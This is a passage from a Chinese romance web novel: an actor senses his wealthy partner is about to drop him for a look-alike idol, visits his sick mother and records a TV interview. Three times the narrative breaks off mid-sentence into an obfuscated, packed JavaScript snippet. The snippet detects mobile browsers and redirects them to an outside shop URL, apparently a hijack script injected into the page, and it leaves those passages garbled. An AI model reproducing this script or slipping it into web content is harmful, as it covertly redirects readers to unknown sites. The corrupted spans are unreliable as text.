《替身说分手应该体面》 1. 预兆 江叙和这几天一直在思考一件事——谢明夷到底打算什么时候跟他分手? 或许不应该用分手这样冠冕堂皇的词汇,但是结束包养、扫地出门之类的词语,好像也不太适合用来界定他们的关系。 毕竟维港老牌豪门新一代的掌门人,和娱乐圈近十年来最年轻的影帝,光是他们两个的身份,就不知能引起外界多少香艳刺激的联想。 但是说起来有些丢脸,整整七年过去了,江叙和还是找不到一个精准的名词来定义他们的关系。 不过无所谓,他应该很快就不用再操这个心了。 有一搭没一搭的想着糟心事,江叙和穿过花房里一众争奇斗艳的昂贵花卉,走到一从地栽的绣球花前,小心地剪了几枝。 谢明夷喜欢的花草跟他本人一样精致又磨人,需要专业园丁精心侍弄才能焕发精神。在他眼中,那些奇花异卉还不如他手里的这捧无尽夏新娘,只要气候合宜,随时都能开得热热闹闹的。 带着花绕了点远路,他刚走到正门门厅,几声压得极低却难掩兴奋的议论传入耳中—— “你听说了吗?那天是Linda姐亲自给人送回家的。” “那算什么!据说先生早回国了,现在就是在陪他!” “真的吗?啧啧啧,真是看不出啊。” “可不是嘛,谁能想得到啊~” 句尾轻快的小波浪随着江叙和身影的出现戛然而止,两个正在打扫的佣人神色慌张地向他打招呼:“江老师,早上好。” 江叙和朝她们点头笑笑,将花交到其中一人手上,交代要插好放在小书房,他平时喜欢一个人待在那里。 接过花的女人惊魂未定,小心地打量他的神色,可惜江叙和的神情过于平静,她看不出端倪,只好安慰自己他没有听到刚才的对话。 这时小橘子已经发现了主人的身影,翘着尾巴咪咪喵喵地跑了过来,一颗圆滚滚的猫脑袋在他的裤脚蹭来蹭去,身体力行地打断了这场对话。 小橘子是他从路边带回来的流浪猫,可能是因为有过流浪的经历,小家伙一直都超级黏人。 江叙和蹲下来,准备好好给这个撒娇怪撸撸毛。一只品相极好的布偶猫也踱了过来,在距离一人一猫不远不近的位置停下了脚步。 江叙和亲昵地喊它的小名:“Fifi,过来。” 布偶猫用湛蓝的眸子扫了人类一眼,没有过来,挺起毛茸茸的胸脯骄傲地走远了。毕竟她可是高贵的Lady Seraphina,绝不轻易搭理平民的召唤。 好在江叙和早就习惯了布偶猫的冷淡,又低头狠吸了波小橘子,心满意足地欣赏了一阵对方夹着嗓子的喵喵叫。 管家过来的时候,看见他还在撸猫,笑着提醒:“江老师,午餐已经摆好了。” 管家名叫周衡,是谢明夷的私人管家之一,现在主要负责打理这座名为渡山的庄园以及两人的起居。 江叙和闻言站了起来,管家不等他开口询问,就接着道:“Linda那边刚刚打电话回来,说先生回来的时间改了,让您午饭不用等他。” 谢明夷原定是今天回国,算上从机场回来的车程,他们刚好可以一起吃午饭。 现在被临时通知计划变更,江叙和也没多问,只是面对满桌精致的菜肴时多少有点食不下咽。 他勉力吃了一些,放下筷子准备上楼,管家的表情欲言又止,似乎是担心他的状态,又似乎是不相信他居然连问都不问谢明夷一句。 见此 ,江叙和笑了下,示意自己无事,又交代:“往后明夷要是不在,饭菜做简单点就行了。” 对方连忙答应了。 * 推开主卧厚重的实木双开门,在熟悉的雪松香氛萦绕上来的那一刻,意识到终于可以从楼下那些若有似无的打量目光中脱离,江叙和长长地松了一口气。 他心情很好地甩掉拖鞋,光着脚一路踩过烟灰色的橡木地板和那块巨大的、手工编织的羊绒地毯,径直走到衣帽间。 感应灯带随着他的行动一路打开,在白天亦渗透出柔和的光线,照在整齐悬挂的衣物和排列有序的鞋履上,无声欢迎着主人的到来。 随手挑出一套出门的衣服,又去冲了个澡,江叙和一边擦着头发一边打开与衣帽间里的小电视。 好巧不巧,电视里正在播放当前最热门的真人秀综艺,主持人正在介绍新成员:“让我们欢迎最新常驻嘉宾——Kaleido组合的顾晨光!” 屏幕里的小偶像笑得一脸青涩,挥手向大家打招呼,有前辈善意地起哄:“听说我们晨光还是个隐藏的学霸哦,上的是那个什么斯大林学院什么的?哎呀,我这个脑子就是记不住。” 他的老搭档毫不留情地吐槽:“我还马克思学院呢。” 众人哄笑过后,新人才谦逊地自我介绍:“是斯特林诺瓦理工学院,我正在学习媒体艺术与科学专业。” 确实是海外数一数二的名校,嘉宾们很给面子的发出一阵惊呼。 刚才故意卖丑的前辈哀嚎着出声:“天啊,娱乐圈也开始卷学历了吗?现在的年轻人又有颜值又有文化,让我和老林这种文盲怎么活哦!” 其他人也围着顾晨光一通吹捧,似乎对节目组临时加塞关系户抢镜头的行为毫无芥蒂,气氛一派大好。 江叙和快速换好衣服,从床头的维生素瓶子里倒出两颗药咽了,在节目嘉宾的傻笑和时不时的搞怪音效声中下了楼。 见他要出门,管家连忙问他要去哪儿。 江叙和道:“去公司一趟,有个本子不错。” 管家答应了一声,又说:“我安排司机送您。” 江叙和摆摆手:“我自己开车,你们别忙活了。” 说着把墨镜往脸上一架,急匆匆往车库去了。 * 因为是工作日,路上车辆不多,他得以一路畅通无阻地开到了公司。 刚从专属电梯里踏出来,迎面就是经纪人王哥怨气森森的大脸,吓得江叙和往后退了一步:“王博文,你搞什么呢?” 王哥一开口就是阴阳怪气的,堵在办公室门口不让他进:“哟,我敢干什么呀?大影帝好不容易愿意搭理小的一回,小的当然是来亲自迎接您的大驾啊。” 就知道连续两个月的躺平会被他念叨,江叙和笑眯眯举起手中一盒点心:“您老消消气,我这不是又振奋精神鼓足勇气准备努力开干了吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643291|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 不看僧面看点心面,接过包装精美的盒子,王哥脸色好了不止一点,终于大发慈悲放他进了办公室。 美滋滋往嘴里塞了口谢家私厨出品的小甜点,王哥的甜品脑袋感到了极大的安慰,不过还是嘟嘟囔囔的:“我最近在控糖啊,你这完全就是诱惑我堕落。” 看他得了便宜还卖乖,江叙和凉飕飕地来了句:“少说两句,趁着还能吃到就多吃几口吧。” 王哥闻言噎了一下,抬眼看了过来,但江叙和没有继续展开话题的意思,而是问道:“送来的本子我已经看完了,不过你确定裴导真的要我?” 王哥思维没跟上,愣了一下才反应过来他在问什么,点点头说:“是的,这一回可是裴导亲自给俞总打的电话,力邀你出演来着。” “就是吧……”王哥欲言又止,“这个本子男女亲热戏尺度还凑合,但是有很大篇幅都要在西北拍摄,你那边方便吗?” 众所周知,江影帝有些孤僻的习惯,不爱参加圈内的聚会,也不喜欢接外地的工作,因此错失了不少好资源。 但是这一回似乎有些不一样。 江叙和抬头,朝王哥没心没肺地笑了一下:“以前不知道,但是现在应该是方便的了。” 王哥神色复杂,安慰的话到了嘴边,最后还是咽了下去,只用力拍了拍他的肩膀:“你自己有规划就是最好的。” * 得知老板要见他,江叙和少不得过来打个招呼,顺便说了自己要参演裴屿电影的事情。 华章影业的现任总裁俞经年对他的自作主张并不恼火,反而还夸了句大西北景色好,适合去散散心。 两人又说了些有的没的,江叙和准备起身告辞,俞经年却来了一句八竿子打不着的话:“叙和,我跟你的交情是咱们俩的事儿,不管以后发生了什么,都不会影响你在华章的地位。” 俞家产业分布极广,华章影业只是其中微不足道的一部分,俞经年愿意等在这里见他,本身就足以说明他的重视。 江叙和笑眯眯的点点头,表示承了这个情,就在俞经年也跟着笑起来的时候,他才开玩笑般提起:“虽然不知道发生了什么,但是你们一个二个的,怎么都好像我过得很惨一样?” “难道说,你们早就知道我要‘失宠’的事儿了?” 从顾晨光资源飞升再到他签约华章影视已经快三个月了,现在才察觉对方的存在,真不知道是江叙和过于迟钝,还是因为身边的人心照不宣对他隐瞒得刚好。 没想到他会直接点破,俞经年微愣之后赶紧打哈哈:“当然不是!哎呀,就是前不久Linda那边突然介绍了个新人签约咱们公司,我这不就多事打听了一下嘛……” 看着对坐之人似笑非笑的神情,俞老板悻悻地住了嘴。 等到江叙和离开后,俞经年翻出那张从狗仔手里抢救下来的照片,盯着上面的人咬牙切齿:“你小子倒是潇洒了,还要我给你收拾烂摊子!” 照片里,新晋当红爱豆顾晨光坐在一台象牙白施坦威三角钢琴前,笑容明媚中带着一丝羞涩,身旁的谢明夷俯下身,似乎正在亲吻他的侧脸。 两人乍看上去,真是一对恩爱的恋人。 2. 关心 江叙和从公司出来,开着车漫无目的逛了两圈,最终还是下定了某种决心,将车开到了寰海西郊的一处疗养院。 这里原本是一家私人医院,因为经营不善,被谢氏收购后改建成了如今的模样。 说是疗养院,其实并不对外开放,目前只有一位病人在此处休养。 江叙和轻车熟路的走进一栋三层小楼,在顶楼病房里看到了刚做完检查,被护工抱到床上的母亲。 见到他身影的那一刻,江棠灰暗的脸色霎时明亮了起来:“水水,你怎么来了?” 江叙和也笑了,低声道:“我过来看看您。” 护工端了营养餐过来,江叙和没有再麻烦她们,坐下来熟练地照顾母亲吃饭喝水,等江棠慢慢吃完了一小碗糊糊,江叙和又问她要不要出去走走。 江棠高兴地答应了。 于是护工推来轮椅,江叙和俯身将人抱起,随即被怀中轻飘飘的重量惊到,却只能装作无事,小心地把她安置在轮椅里。 说是出去走走,但江棠患的是一种极为罕见的血液基因病,发病后需要避开阳光直射。因此疗养院单独为她建造了一个室内场馆,里面种了各种绿植花卉,模拟自然环境和光照,让她可以安全而舒适的散心。 江叙和推着轮椅,疗养院的护工们则远远地跟在后面,尽量不打扰母子二人独处的时间。 江棠刚结束一段时期的封闭治疗,江叙和低声絮絮说着这些天发生的趣事,逗得江女士时不时笑出声。 随后她又很有元气地挥动起双手,告诉儿子:“我感觉这次恢复得很好,说不定很快就能出院了。” 江叙和笑嘻嘻的:“那敢情好呀,等你能自己好好吃饭了,我就接你回去。” 只是他的眼神飘忽,始终不敢停留在江棠因为动作而露出的苍白手臂上——那里有一条隆起而蜿蜒的血管,是长期透析留下的痕迹。 江棠的身体状况无法支持长时间的坐姿,护工见时间差不多了,便过来提醒。 也就在这时候,江棠的神智又开始变得混沌,死死拉住江叙和的手,嘴里念念有词:“水水,都是妈妈害得你,你跑吧!你快跑!不要管我!” 说着说着,她竟然踉跄着站起身,挥舞着手臂想要厮打江叙和,几个护工连忙一拥而上,将人架到轮椅上,轻柔又快速地用束缚带限制住她的行动。 江叙和愣在原地,眼睁睁地看着护工将人带走,耳边却一直回荡着母亲尖利地叫嚷——“快跑!你快跑呀!” 因着出了这档子事,院长带着几个医生匆匆找了过来,气喘吁吁地道歉:“江先生,真是不好意思。我们团队是确定了江女士这段时间状态比较稳定,才通知您可以探望的,没想到还是……” 一旁的医生也跟着补充:“后期我们会及时改进观测模型,保证不会再发生这样的事情。” 说完,几个人神情惴惴地望了过来,生怕这位金贵的病人家属开罪。 江叙和对母亲的身体状况心知肚明,也无心苛责医疗团队,毕竟他们已经足够尽职和专业。 院长对他的宽容十分感激,又保证会安排最好的心理医生来给江母做心理疏导。 可惜就是再优秀的医生,也难以安抚一个重病病患在经受长期折磨之下的精神错乱和情绪激越。 * 拒绝了院长的陪同,江叙和独自走到停车场,刚上车,手机铃声就响了起来。 他点了接通,对面传来熟悉的声音:“宝贝,怎么还没回家?周衡说你去公司了?” 估计管家也报告了他没有用家里的司机,独自开车出门的事。 江叙和把手机连上汽车蓝牙,才回答他的问题:“是去了趟公司,不过我现在在疗养院。” 对面的人很明显怔了一下,才温声道:“我应该和你一起去的,只是这边有点事,实在走不开。” 江叙和笑笑,说:“知道你是大忙人,又不会怪你。” 对面的谢明夷也跟着笑了一下,很是关切地问:“阿姨身体怎么样?听说新疗程结束的很顺利?” 江叙和“嗯”了一声,没有提起刚才发生的事情,只说:“精神头蛮好的。” 谢明夷道:“哦,那就好。” 随后就是长时间的沉默,安静到两个人的呼吸都清晰可闻。 往常这种时候就该轮到江叙和努力寻找新的话题了,但是今天的他莫名没了这份兴致,而日理万机的谢总也明显不擅长这样的聊天。 于是在一阵尴尬寂静过后,江叙和自顾自的发动了车辆。 谢明夷便道:“那我不打扰你开车了,你慢点儿开,注意安全。” 江叙和哦了一声,挂断了电话,但还是降缓了车速,安全稳当地开回了渡山庄园。 * 管家的执行力没话说,晚餐果然换成了简单的菜式。 照例随意吃了一点,又去锻炼了大半个小时,跟私教道了个别,江叙和就准备早点儿上床睡觉,完全没心思再去过问谢明夷的行程。 倒是管家主动找了过来,期期艾艾地汇报:“江老师,Linda那边说谢先生行程临时变动,可能还要在燕平市待几天再回来。” 他说话的时候,眼神不住地往江叙和身上瞥,似乎是害怕他生气,又像是生怕他不生气。 那瑟缩又八卦的模样,硬生生把江叙和都给逗乐了,他还是头回发现管家居然有这么搞笑的一面。 不过他可能要让管家失望了,他是真的不怎么关心谢明夷到底什么时候回来。 一旁刚收拾好器材的健身教练笑嘻嘻凑了上来,很有职业精神地开口:“这不正好吗江老师?我们可以好好践行一下你的塑型计划。” 江叙和摇摇头:“打算明天再和你商量的,原来的健身计划得暂停了,接下来我要开始减重。” 教练瞪大了眼睛:“可是你已经够瘦了!上镜完全够用!” 江叙和挑挑眉:“没办法,接了个新角色,大概需要再瘦个十五斤左右。” 教练动作夸张地捂了捂嘴表达自己的惊讶,但没说什么反驳的话,只是说:“那我回去好好想一下方案。” 倒是旁听的管家忧心忡忡:“谢先生知道您要减重吗?” 江叙和嘴角的笑意淡了一点,说:“等他回来我会告诉他的。” 管家便也不再多说什么。 * 直到主卧的灯光都熄灭了大半个小时后,管家一直等着的电话果然来了,他在手机铃响过第一声时精准地接起:“先生,晚上好。” 许是燕平市的项目真遇到了棘手的问题,电话那头的男人声音疲惫:“他已经睡了?” 管家连忙回话:“已经睡了,半个小时前熄的灯。” 谢明夷便道:“那就好。” 迟疑了一会儿,又问:“他有问什么吗?” 管家规规矩矩的站着回答:“没有,江老师今天除了出去了一趟,都和以前一样。” 电话那头沉默了一会儿,才说道:“那就好,这几天你盯着他好好休息,不要总是跟那些人出去玩儿。” 这里的“那些人”,指的当然就是江叙和在娱乐圈的朋友。 管家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643292|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连声答应了。 * 接下来的日子,不用管家提醒,江叙和自动自觉恢复了以往的宅居生活,压根儿不往外跑,每天在家养养花、锻锻炼什么的,作息比老年人还健康。 有时候他还会晒一下花房的照片,获得粉丝的一片赞美,夸他是天生木灵根,养的花都那么好看。 粉丝滤镜太厉害,江叙和无法,只好老老实实圈出来照片最前方那一小盆毫不起眼的迷你小多肉,配文:这个才是我养的,最近有点儿徒长了,正在控涨势。 至于背景里花团锦簇的其他花朵,当然都是谢家高薪聘请的专业园丁的功劳。 粉丝们被正主的实诚搞得有点儿无语,又觉得可爱,只好调转方向转而夸赞他晒出来的健身餐——“哥哥真是好自律,是准备进组了吗?” 估计是他太久没动静,粉丝都急了,评论区都是类似的提问。 江叙和挑了个眼熟的ID回复:“这个是能随便打听的吗?” 果不其然,粉丝们纷纷抓狂,怒斥他“小江你能不能长点儿心啊!赶紧进组拍片吧魂淡!” 好嘛,高兴的时候喊人家giegie,不高兴就降级成小江了。 江叙和又挑了几条评论回复,心满意足地看着亲生粉丝们在评论区跳脚。 其实这也算是江叙和跟粉丝之间的保留节目了。 自从四年前拿到国内电影最高奖之后,他就开始固定每年一部戏,除了宣传期会上节目接受采访,大多数时间他都几乎不出镜,圈内最流行的上综艺挣快钱的事儿也从来不干,在不少人眼中,他完全是在自毁前途。 不过粉丝总是会溺爱,认为江叙和是有更高的艺术追求才会选择降低曝光率。 但也少不了一些酸溜溜的声音,说他是背后有大佬护航,根本不缺钱,当然用不着辛苦咯。 江叙和对于网上的言论一贯不放在心上,看到也只是一笑置之,放下手机起身准备去慢跑,一旁的私人手机却响了一下,是他设置的专属铃声。 原来是谢明夷发过来的消息,估计是看到他晒的减肥餐了,就写了四个字:“好好吃饭。” 可能是觉得语气有点太僵硬,过了一会儿,又发来四个:“注意养胃。” 最后跟着三个字:“回信息。” 看到最后几个字,江叙和没忍住笑了下,一字一句敲下回复:“收到,谢谢关心^_^。” * 晚餐果然不再是私教定好的减脂食谱,餐桌上陡然丰盛起来,考虑到他减肥的需要,菜肴走的都是精致清淡的风格。 饮食计划遭到变更,江叙和没有发表任何意见,安静地吃完了面前这顿饭,只是谨慎地没有摄入碳水。 在他离桌之前,管家端来一碗药膳:“先生吩咐的,说是让您补补气血。” 闻到瓷盅里的中药味儿,江叙和嫌恶地皱了皱鼻子:“不用了,我吃饱了。” 说完将那个炖盅放到一边,直接上楼了。 半夜,减肥信念比死鸭子嘴还要硬的某位影帝垂死饿中惊坐起,锤着枕头无声地谴责早些时候的自己:“我到底在装些什么啊!退一万步说,那碗汤又没有得罪我!” 发泄了一会儿饥饿之情,就在准备下楼觅食的前一刻,他用残存的理智点开了手机里的电子合同,新剧组今天刚发来的,滑到片酬那一行,江影帝的神智瞬间回归,从容地躺了回去—— 我超爱挨饿的,饿着才能更好地体会角色的心情,这才是真正的艺术啊! 晚安,我的电影艺术。 晚安,我的小钱钱。 3. 城堡 人的身体真是非常奇妙,只要能熬过深夜那阵抓心挠肺的饿劲儿,早上起来的时候反而觉得神清气爽了。 慢跑了半个小时,江叙和转去花房探望自己徒长的小多肉,谁知一晚上的功夫,花房里面已经多了两个木架子,满满当当摆放着各色品种的多肉植物,粉红色的补光灯打在上面,好看又热闹。 江叙和找了半天,才从架子最下层的角落里翻出了他那盆倒霉的玉露,赶紧端起来摆到边,不跟那些稀有的品种抢位置。 忙完这一出,他也活动开了,刚要打内线电话让健身房那边准备好,就见管家周衡带着私教和几个穿白大褂的人过来。 管家还是那副公事公办的样子:“江老师,医疗团队已经准备好了,请您去做个全身检查。” 江叙和莫名其妙:“我没有预约什么检查啊。” 管家解释道:“先生听说您要减肥,就安排医疗团队过来,给您做个详细的评估,避免健康出问题。” 说着他朝江叙和眨眨眼,表示绝对不是自己走漏了他减肥的风声。 知道是之前在社媒上晒减脂餐惹出来的事儿,江叙和摸摸鼻子,不再多说些什么。 倒是健身教练很委屈:“我们做过DEXA,现在就是针对检测的结果给江老师定制的训练计划。” 他可是持有NSCA-CSCS证书的专业教练,给职业运动员做训练方案的资格都有,怎么可能会犯那样低端的错误。 一群白大褂中领头的外籍女医生笑容完美,中文熟练,语气亲切地解释:“DEXA检测只能覆盖体脂率、肌肉量、骨密度、内脏脂肪等维度,不够详细,所以我们还需要给江老师做一个全身检查,包括血液、激素、代谢指标和RMR测试,精确地计算他每日基础热量消耗,并进行全面的健康评估。届时我们团队将与您实时对接,动态调整锻炼和饮食策略。” 可怜的教练被她大段大段的专业讲解说得脑瓜子嗡嗡响,愣愣地点头:“好的,那我配合你们。” 谢家的雇员们在执行BOSS交办的工作任务时总是雷厉风行,江叙和当天就做完了全部的检查项目。 管家手里捏着几张纸,应该是现场出结果的几个项目报告,过来告诉他:“营养师在休年假,没办法现场和您确认食谱,等全部结果出来后,我让他先线上给一份调整后的食谱。” 江叙和闻言皱眉:“既然在休假,那就不要打扰人家了,这又不是什么很着急的事情。” 对此管家只是微笑,显然没打算听,他也只能作罢。 反正不管怎么说,检查完之后,江叙和再也没挨过饿。 * 接下来就到了江叙和不得不出门的日子。 因为他三年前拍的一部电影终于拿到了龙标,定档今年十月上线,作为主演之一,他要配合电影的宣传节奏。 比如今天,他就要去录一档访谈节目,王哥一大清早就带着造型团队过来渡山庄园。 一行人的车辆在庄园大门口就被拦了下来,制服笔挺的工作人员态度礼貌请客人们转乘停放在一旁的高尔夫球车,车上的行李则是由专人带过去。 造型师和化妆师都是来过渡山的,对此习以为常,只是造型师Mai的新助理还是个愣头青,被这阵仗惊到合不拢嘴,悄悄戳Mai:“姐,江老师这么有钱的吗?” Mai优雅地甩了小助理一个白眼,示意她看看前方正在开车的白手套。 小助理吐了吐舌头,乖乖闭嘴了。 一行人来到的是庄园的副楼,这里有整整一层楼的空间存放江叙和上镜要穿的各类衣物和配饰,里面不乏很多秀场上都看不到的时装和高级珠宝,应该都是品牌根据客户需求量身定制的。 这种拿钱不当钱的奢华派头,就算来过很多次,王哥还是忍不住啧啧了两下,更别提头回开眼界的小助理了,完全就是美术生进了卢浮宫——根本看不过来。 担心时间太早他们来不及吃饭,江叙和提前在小会客厅里安排了点心和饮料,走过来招呼:“要不先吃点儿东西垫垫。” 王哥从来都是天大地大、吃饭最大,头一个响应号召,过去大饱口福,化妆师Iris跟她的助理也高高兴兴地去了。 Mai却是个急性子,拉着江叙和让他试衣服:“一共借了三套呢,得先定了服装才好做造型。” 江叙和当然没意见。 乖乖地换了三套衣服,Mai做主敲定了一套。 银灰色西装将他榛褐色的眼眸衬得更加深邃迷人,也让他唇角那抹天然上扬的弧度显得更加微妙,哪怕是毫无表情,也仿佛是在思索,自带一丝若有若无的的距离感,迷人而诱惑。 Mai低声感叹:“这就是传说中自带故事感的长相吗?难怪那么多导演想跟你合作。” 江叙和没听清,微笑地看过来示意她再说一遍,Mai却已经转头去挑选合适的配饰了。 手表是唯一不需要Mai操心的配件,因为江叙和永远只带他所代言的品牌Céleste的一款入门级手表。 在看到转表器里慢悠悠旋转的众多名表,Mai还是忍不住吐槽:“你也真是的,守着金山在,却一直用那块破表。” 怎么说话呢? 江叙和佯怒:“不准侮辱金主妈妈。” Mai白眼翻到天上,在一堆袖扣里面挑挑拣拣,选了一对低调贵气的皇家蓝蓝宝袖扣递给助理。 小助理连忙上前要给他戴上,却被江叙和礼貌地拒绝了:“谢谢,我自己来就好。” Mai也反应过来,不好意思道:“抱歉,是我忘了告诉她你不喜欢别人碰你的手。” 江叙和说没事,又见小助理脸都吓白了,便让Mai带她去吃点东西:“我换完衣服就化妆做头发,你们刚好休息一下。” 刚好Iris吃完早餐推着化妆箱走了过来,接手了两人的工作。 在两拨人的接力下,江大影帝终于捯饬好了造型,坐上了谢家司机开的埃尔法,王哥和江叙和的助理小秦也跟着坐了上去,其他人也沾光坐上了后面的同款车型。 小助理全程安静地听从安排,等到司机升起了隔板,才敢问Mai:“姐,江老师都豪横成这样了,何必还要我们给他借衣服上节目啊,穿自己不就好了。” Mai还没有说话,旁边的化妆师Iris先笑了,她是个很温柔的女性,说话轻声细语的:“这怎么会一样呢?” 小助理不解:“有什么不一样?不都是名牌衣服吗?” Iris慢条斯理地为她解释:“因为一件衣服,穿在江老师那样的人身上,就不再是一件简简单单的衣服,而是一整套的商业逻辑。” “你在这个行当待久了就会知道,明星和品牌之间更像是共生的关系,明星需要光鲜的形象维持身价,品牌需要曝光量维持奢侈感。要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643293|188157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是明星都自己买衣服了,反而会破坏业内生态。” 小助理似懂非懂地点了点头,又问了另一个问题:“我看江老师衣帽间一块表就要上千万,明星现在都有钱到这个程度了吗?” 初生的牛犊就是不怕虎,刚入行的小朋友就是什么都敢说,小助理天真无邪地问完,刚刚还好心解惑的Iris姐姐尴尬地笑了笑,不说话了。 Mai实在是看不下去了,伸手捏扁她的嘴巴:“我有没有告诉过你,咱们这一行最大的美德就是多听多看少说话,看来你是一点儿也不往心里去啊!” 直到小助理鸭子嘴点头,表示这回绝对记住了,她才放开了手。 * 一进西瓜卫视的大楼,江叙和就看到电影的几个主创站在一起有说有笑的,看样子他们都是来了电视台再做妆造的,估计都聚了好一会儿了。 他还没上前打招呼,女主演陆琳琅已经发现了他,这姐们儿一点儿也没有一线女演员的架子,尖叫一声后冲过来一把将他搂住:“小江啊,姐姐想死你了。你说你为什么不跟着我进老高的组?我在草原上没电没网还没你的,都要无聊死了!” 陆琳琅从影完全是爱好使然,从她的经纪公司叫琳琅传媒这一点就可以看出,这姐压根儿不缺钱。 而她跟江叙和的友谊,则是三年前两人一起拍摄这部艰难过审的《寻岸》时结下的交情。用陆琳琅的话说,他们两个完全就是过命的交情,很值得拜个把子。 江叙和被她用火一样炽热的肱二头肌锁了喉,挣扎半天都无济于事,余光看到导演也往这边来了,赶紧说道:“不是还有高导吗?有他在你怎么会无聊。” 提起高导,陆琳琅更不满了,嚷嚷道:“还不如没有呢,你不在老高尽折腾我了!简直毫无师生情谊。” 高辉把江叙和从她的魔爪下拯救出来,满脸的无语:“你不要在这里危言耸听,拍个戏当地老乡的羊都快被你嚯嚯没了,还有什么好叫苦的。” 终于呼吸通畅了,江叙和向高辉打招呼,高导朝他亲切地笑笑。 等到其他主创也过来轮流打完招呼,三个人去了陆琳琅的化妆间,高辉才对江叙和说:“听说你准备进裴屿的组?他那个项目投资那么大,应该对票房要求很高,你确定要去?” 从出道开始,江叙和就是文艺片导演的心头好,一直缺乏一部可以证明票房号召力的主演作品。 接裴屿的戏于他而言其实是个很大的挑战,若是票房漂亮自然是皆大欢喜,要是票房达不到市场期望的要求,恐怕他以后也很难再有担纲大制作的机会。 这也是很多奖运好、商业化程度低的演员会遇到的问题,有人会选择拍商业片赌一把,也有人不想承担失败的风险,宁愿一直困在文艺电影的窠臼里。 看着高导关切的眼神,江叙和认真地回答:“是的,我和经纪人商量过,觉得这是个转型的机会。” 现在他愿意踏出舒适圈,高辉也很高兴,老怀大慰地拍了拍他:“早该这样了。” “以前我还以为你是不愿意吃苦,合作后才知道你小子纯纯就是性子太轴。现在你终于想开了,是好事,好小子,加油干!” 说着他又长长地叹了口气,语重心长地叮咛后辈: “人嘛,活不活也就一辈子,自己痛快了比什么都要紧。年纪轻轻的,不要总是钻些牛角尖。” 江叙和低头笑笑,没再说什么。 4. 礼物 江叙和的沉默却引燃了现场另一个人的怒火——陆琳琅才反应过来,江叙和这小子居然背着她接戏了?! 陆女士怒发冲冠:“要拍商业片,那你更应该来我们组啊!老高这回拍的可是纯商业!大制作!” “都是去大西北吃灰,难道裴屿剧组的灰就更加高尚吗?” “还是说他给你的片酬更高?要是这样的话,我可以让老高去跪求制片人给你多一点啊,咱们都好商量的。” 江叙和还没说话,高导已经开始求饶:“大姐你放过我吧。” 三个人说说笑笑了一阵,等到工作人员过来通知他们要开始录制了才起身整理衣服。 他们今天录制的节目叫做《晓楠会客室》,算是西瓜卫视的王牌访谈节目。 主持人张晓楠业务能力极强,问的问题都是刚好可以引起观众的好奇心的那一类,高导这种话不多的人都被她哄得长篇大论了起来。 临到末尾,电影的话题聊得差不多了,张晓楠转而开始关心起各位主演,询问他们下一步的工作安排。 轮到江叙和的时候,他公式化地回答:“已经有了安排,但是还不能透漏,确定后会第一时间向观众朋友分享好消息。” 张晓楠笑容可掬:“看来江老师对我们会客室的观众朋友还有所保留啊。不行,这个问题不能算,我再问您一个好了?” 江叙和也愿意配合为节目制造一些看点,微笑着摊开手,示意她继续。 张晓楠却问了个台本上没有的问题:“请问您对Kaleido男团的某位成员被叫做‘小江叙和’这件事怎么看呢?娱乐圈有不少长得像的明星,但是像你们这样容貌相似的真是不多见。” 场上不少人都变了脸色,作为当事人,江叙和表情管控倒是良好,语气也让人挑不出一点儿错:“我还没见过Kaleido的成员,你说的我都好奇了,真的有那么像?” 主持人还未接腔,陆琳琅就语气不好地打断:“我跟他们团录过综艺,没觉得有多像。” 说完她反应过来还在录节目,又撑起个笑脸:“哈哈,可能是我跟江老师太熟了,从来没觉得他跟谁像了。你们不觉得江老师有种特别的气质吗?我说不上来,反正我们江老师辨识度超高的~” 《寻岸》剧组的男二也跟着插科打诨:“什么特别的气质,是你对我们江老师有迷妹滤镜吧?” 在众人的齐心协力下,总算把这段插曲敷衍了过去。 录完节目,张晓楠特意过来道歉:“江老师,真是不好意思,我刚才是脑子搭错线了,绝对不是故意的。” 她又努力解释,自己是因为之前去录了西瓜卫视的一档叫《最后赢家》的真人秀,因为在现场见到顾晨光真人后太吃惊,才会在见到另一个正主后提起这件事,绝对不是想给江叙和难堪。 至于她的话是真是假,反正态度到位了,节目爆点也有了,江叙和相不相信好像也没有那么重要。 * 陆琳琅卸完妆过来,气呼呼地拉着江叙和跟高辉一起走,没想到几人刚出化妆间就遇到了《最后赢家》团队,原来他们是晓楠会客室下一期的嘉宾。 都是同行嘛,抬头不见低头见的,不管背后再怎么互相蛐蛐,见面了还是得笑嘻嘻打招呼。 不过江陆两人是电影咖,高辉是名导,对比起来《最后赢家》的人咖位就要逊色一些,所以是他们主动过来打招呼。 作为后辈,顾晨光主动做了自我介绍,又很激动地对江叙和说:“江老师,我一直非常非常喜欢您的作品,听说《寻岸》已经定档了,祝贺您!” 真是很有礼貌很有活力的年轻人啊…… 